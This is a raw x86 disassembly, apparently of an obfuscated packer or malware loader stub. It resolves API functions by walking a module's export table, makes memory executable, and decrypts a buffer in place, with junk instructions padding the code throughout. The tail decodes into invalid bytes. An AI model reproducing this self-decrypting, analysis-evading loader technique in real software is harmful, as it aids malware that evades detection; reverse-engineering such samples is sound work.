mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4892f4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x489500
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x489364
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x489416
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x489416
push edi
and edi, 0x10c3d
call 0x4893a7
add byte [edi + ecx*2 + 0x40], al
inc edx
xor dl, byte [eax + 0x3f]
dec esp
cmp al, byte [ebx + 0x505f04c4]
push esi
add esp, 4
and eax, 0x120b8
sub eax, 0x174d9
or eax, 0x5871
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x489408
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x48940f
jmp 0x489355
jmp 0x489416
push edi
and edi, 0x8ef2
add edi, 0x15140
pop edi
push eax
push ecx
add esp, 4
xor eax, 0x11972
sub eax, 0xb3c7
or eax, 0x14bb8
pop eax
push eax
push ecx
add esp, 4
add eax, 0x13d98
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x489475
mov dword [ebp - 0xc6c], 0
jmp 0x4894e4
push ecx
push ebx
add esp, 4
xor ecx, 0xf269
pop ecx
push edx
push edi
add esp, 4
and edx, 0x175b4
xor edx, 0x16a77
sub edx, 0x14c44
pop edx
push ecx
and ecx, 0x74b6
sub ecx, 0x1813c
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4894da
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4894e4
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4894fb
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
jmp 0x4892e5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
call 0x489526
add byte [eax + 0x4f], cl
dec eax
dec eax
dec ecx
xor eax, 0x4c4833d
add edi, 0x1600d
pop edi
push eax
or eax, 0x5bab
sub eax, 0x1104e
and eax, 0x10f3e
or eax, 0x15505
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4895bd
push edi
push edx
add esp, 4
sub edi, 0x4d2f
pop edi
push edx
push eax
add esp, 4
or edx, 0x5612
pop edx
push ebx
xor ebx, 0x3a68
add ebx, 0xe94d
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xa4d8
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4895da
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x489636
push edi
call 0x4895f8
add byte [edx], dh
inc ebx
inc edi
inc eax
inc eax
dec edx
dec esp
cmp byte [edx], bh
add esp, 4
xor edi, 0x8d31
pop edi
push edi
push ecx
add esp, 4
call 0x489616
add byte [ebx + 0x40], cl
cmp byte [eax + edx*2 + 0x33], al
xor dh, byte [ebx + esi]
add esp, 4
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4895cb
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4896ae
push ecx
sub ecx, 0x7849
xor ecx, 0xb781
call 0x489682
add byte [edi], dh
dec esi
push eax
cmp al, 0x4f
xor eax, dword [ebx + eax*4 - 0x3c]
add al, 0x59
push edx
push ebx
add esp, 4
jmp 0x489693
sub edx, 0x2af6
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edi
push ebx
add esp, 4
jmp 0x4896b8
sub edi, 0xeeab
xor edi, 0x17c20
call 0x4896d0
add byte [0x3e4d3947], bh
dec edx
add esp, 4
pop edi
push eax
push ebx
add esp, 4
xor eax, 0x4f1f
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop edx
pop ebx
mov ebp, cs
or eax, 0x1d0fd28a
or dword [ecx], ecx
bound esp, qword [eax - 0x76]
invalid